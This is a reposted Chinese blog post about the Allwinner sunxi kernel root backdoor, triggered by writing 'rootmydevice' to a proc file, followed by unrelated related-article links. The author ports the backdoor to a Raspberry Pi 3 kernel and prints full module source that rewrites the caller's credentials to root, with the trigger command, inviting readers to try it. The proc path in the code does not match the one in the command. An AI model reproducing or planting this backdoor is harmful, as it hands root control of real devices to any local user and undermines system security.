最近全志开发人员在其kernel中留下后门一事闹得沸沸扬扬。还不知道的同学请参看

据外媒 arstechnica 报道,一家中国的芯片级系统厂商全志(allwinner) 在其开发的产品中携带的内核里遗留了一个 root 后门。全志的处理器芯片用在很多低端的 Android 平板、机顶盒、基于 ARM 的 PC 等等之上。而这个后门非常容易获得,只需要给一个未见于文档的调试进程发送一个字符串“rootmydevice” 即可获取该设备的 root 权限。

该后门可能是开发人员调试后忘记移除的。全志公司在知道此消息后,已经从其公司的 Github 账户上删除了相关文件。

该公司使用的内核 linux-3.4-sunxi,原先用于支持全志的 ARM 芯片平板上的 Android,它也有一个社区版本。该内核也用来移植到各种全志芯片的设备上,包括桔子派Orange Pi、香蕉派Banana Pi等与树莓派Raspberry Pi兼容的开发板。

通过写入rootmydevice到/proc/sunxi-debug/sunxi-debug,一个普通用户就能拥有root的权限。实际作用代码片段如下:

cred->uid = GLOBAL_ROOT_UID;
cred->gid = GLOBAL_ROOT_GID;
cred->suid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->egid = GLOBAL_ROOT_GID;
cred->fsuid = GLOBAL_ROOT_UID;
cred->fsgid = GLOBAL_ROOT_GID;

本人将全志的这个后门移植到了raspberry pi 3的4.6内核,试了一下,确实好用。有兴趣的同学可以玩玩。下面是我修改过的代码。将其编译成模块,使用root插入这个模块后,任意一个用户执行如下命令,就会拥有root权限了。

echo “rootmydevice” > /proc/sunxi-debug/sunxi-debug

当这个模块被移除,拥有root权限的普通用户恢复原来的权限。

/** Sunxi_debug.c*** This program is free software; you can redistribute it and/or modify* it under the terms of the GNU General Public License version 2 as* published by the Free Software Foundation.*/
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/export.h>
#include <linux/kthread.h>
#include <linux/module.h>#include <linux/debugfs.h>
#include <linux/proc_fs.h>//add by fe3o4
#include <linux/uaccess.h>
#include <linux/cred.h>#include <linux/slab.h>static struct proc_dir_entry *proc_root;
static struct proc_dir_entry * proc_su;
static struct cred *cred_back;
static struct task_struct *task;static ssize_t sunxi_proc_su_write(struct file *file, const char __user *buffer,size_t count, loff_t *data)
{char *buf;struct cred *cred;if (count < 1)return -EINVAL;buf = kmalloc(count, GFP_KERNEL);if (!buf)return -ENOMEM;if (copy_from_user(buf, buffer, count)) {kfree(buf);return -EFAULT;}if(!strncmp("rootmydevice",(char*)buf,12)){task = current;cred = (struct cred *)__task_cred(task);memcpy(cred_back, cred, sizeof(struct cred));cred->uid = GLOBAL_ROOT_UID;cred->gid = GLOBAL_ROOT_GID;cred->suid = GLOBAL_ROOT_UID;cred->euid = GLOBAL_ROOT_UID;cred->euid = GLOBAL_ROOT_UID;cred->egid = GLOBAL_ROOT_GID;cred->fsuid = GLOBAL_ROOT_UID;cred->fsgid = GLOBAL_ROOT_GID;printk("now you are root\n");}kfree(buf);return count;
}ssize_t sunxi_proc_su_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{printk("sunxi debug: rootmydevice\n");return 0;
}static int sunxi_proc_su_open(struct inode *inode, struct file *file)
{return 0;
}static const struct file_operations proc_fops = {.open= sunxi_proc_su_open,.read= sunxi_proc_su_read,.write = sunxi_proc_su_write,
};static int sunxi_root_procfs_attach(void)
{proc_root = proc_mkdir("sunxi_debug", NULL);proc_su= proc_create("sunxi_debug", 0666, proc_root, &proc_fops);if (IS_ERR(proc_su)){printk("create sunxi_debug dir error\n");return -1;}return 0;}static int __init sunxi_debug_init(void)
{int ret;cred_back = kmalloc(sizeof(struct cred), GFP_KERNEL);if (IS_ERR(cred_back))return PTR_ERR(cred_back);ret = sunxi_root_procfs_attach();printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);if(ret){printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");}return 0;
}static void __exit sunxi_debug_exit(void)
{struct cred *cred = (struct cred *)__task_cred(task);memcpy(cred, cred_back, sizeof(struct cred));kfree(cred_back);remove_proc_entry("sunxi_debug", proc_root);remove_proc_entry("sunxi_debug", NULL);
}module_init(sunxi_debug_init);
module_exit(sunxi_debug_exit);
MODULE_LICENSE("GPL");

————————————————
版权声明:本文为CSDN博主「NewbieRock」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/github_34308866/article/details/51425308

【转载】全志的 Linux 内核后门分析相关推荐

  1. 全志linux关机键,全志平台linux启动流程分析

    转载:全志平台linux启动流程分析 一.BROM阶段 机器上电之后会执行固化在BROM里面的一段引导程序,这个程序会依次遍历所有支持的启动介质,直到找到第一个支持的.目前支持的启动介质是sd/mmc ...

  2. Linux内核部件分析 设备驱动模型之driver ---mark 详细

    Linux内核部件分析 设备驱动模型之driver 转载:https://www.linuxidc.com/Linux/2011-10/44627p7.htm 上节我们分析设备驱动模型中的device ...

  3. linux内核源代码分析----内核基础设施之klist

    概述 klist是list的线程安全版本,他提供了整个链表的自旋锁,查找链表节点,对链表节点的插入和删除操作都要获得这个自旋锁.klist的节点数据结构是klist_node,klist_node引入 ...

  4. Linux内核源代码分析-目录

    第一部分 Linux 内核源代码 arch/i386/kernel/entry.S 2 arch/i386/kernel/init_task.c 8 arch/i386/kernel/irq.c 8 ...

  5. Linux内核源代码分析——可执行文件header处理(二进制文件读写范例,写DUL工具入门指引)...

    在把Linux内核源代码生成Image之前,需要把执行文件头结构信息剔除出来.这个过程对理解Linux内核具有很大的帮助.同时,由于是对可执行文件进行直接读写操作,想写DUL工具的童鞋可以在这里学习到 ...

  6. Linux内核协议栈分析之——tcp/ip通信并不神秘

    Jack:计算机如何进行通信? 我:我可以告诉你带Linux操作系统的计算机如何进行通信. Jack:带Linux操作系统的计算机?这和不带操作系统的计算机有区别吗? 我:有的. Jack:哦.那你说 ...

  7. 《Linux内核情景分析》阅读笔记

    <Linux内核情景分析>这本书读过了一遍,不想继续读第二遍了. <Linux Kernel Development>这本书前后读了3遍,写得实在是好,正所谓"布衣暖 ...

  8. linux 内核抢占分析

    linux 内核抢占分析 在 Linux 2.6 以后版本的 Linux 内核中,一个内核任务可以被抢占,从而提高系统的实时性.这样做最主要的优势在于,可以极大地增强系统的用户交互性,用户将会觉得鼠标 ...

  9. Linux内核问题分析方法

    定位内核问题难点 死机没有现场或信息不全,有信息无法进一步分析: 调试困难,gdb只能作为辅助: 内核庞杂,系统代码量大,无从下手: 问题的表现和问题的原因不一定直接关联.linux内核堆栈大多是我们 ...

最新文章

  1. [C#] Socket 通讯,一个简单的聊天窗口小程序
  2. 计算机基础扎实,到底是说什么?
  3. HTTPHandler有什么作用
  4. 纽芬兰纪念大学计算机系怎么样,纽芬兰纪念大学计算机
  5. php字符串如何比较大小写,PHP字符串函数strcmp(二进制安全比较字符串,区分大小写)...
  6. 华为鸿蒙是物联网操作系统;字节跳动的飞聊被 App Store 下架;FFmpeg 作者编写 JS 引擎 | 极客头条...
  7. 用MySQL语言创建视图_mysql 创建视图
  8. 抖音特效转场模板预设 Premiere调色预设 PR光效转场等900个特效包(含教程及转场音效)
  9. 【vmware】vmware tools 地址
  10. 唐巧:技术人如何成为管理者
  11. canvas基础简单易懂教程(完结,多图)
  12. MySQL关系运算和连接运算,数据库的关系运算和完整性约束
  13. 使用Blinker+ESP8266接入天猫精灵
  14. Word2vec原理与应用
  15. 用树莓派搭建公网个人下载平台aria2-pro,推荐6个优质种子资源站
  16. 大数据可视化工具圈里的春秋战国
  17. 考研OS备考|计算机操作系统|汤小丹慕课版|课后习题答案|复试拓展
  18. 研究了上市公司的报表后,我总结出了最快制作经营分析报表的方法
  19. Appium基础 — Appium Inspector定位工具(二)
  20. 在NTFS For Mac中如何将FAT32转NTFS

热门文章

  1. 不管你学的是什么专业,你都应该多少懂些管理学的东西之【罗森塔尔效应】【虚假同感偏差】...
  2. devDependencies 和 dependencies
  3. 百度AI应用方案:健康饮食APP
  4. input取消焦点 vue_vue如何能做到点击其他地方input不失去焦点
  5. 教你如何在linux里安装应用程序
  6. vivo图像算法工程师双非研究生可以吗_计算机学院研究生会就业经验交流分享会...
  7. 创业点滴:一个小老板的日常管理
  8. 主R 主A 什么意思
  9. 第八篇、正则表达式 re模块
  10. 学习笔记 | 研究关联性、相关系数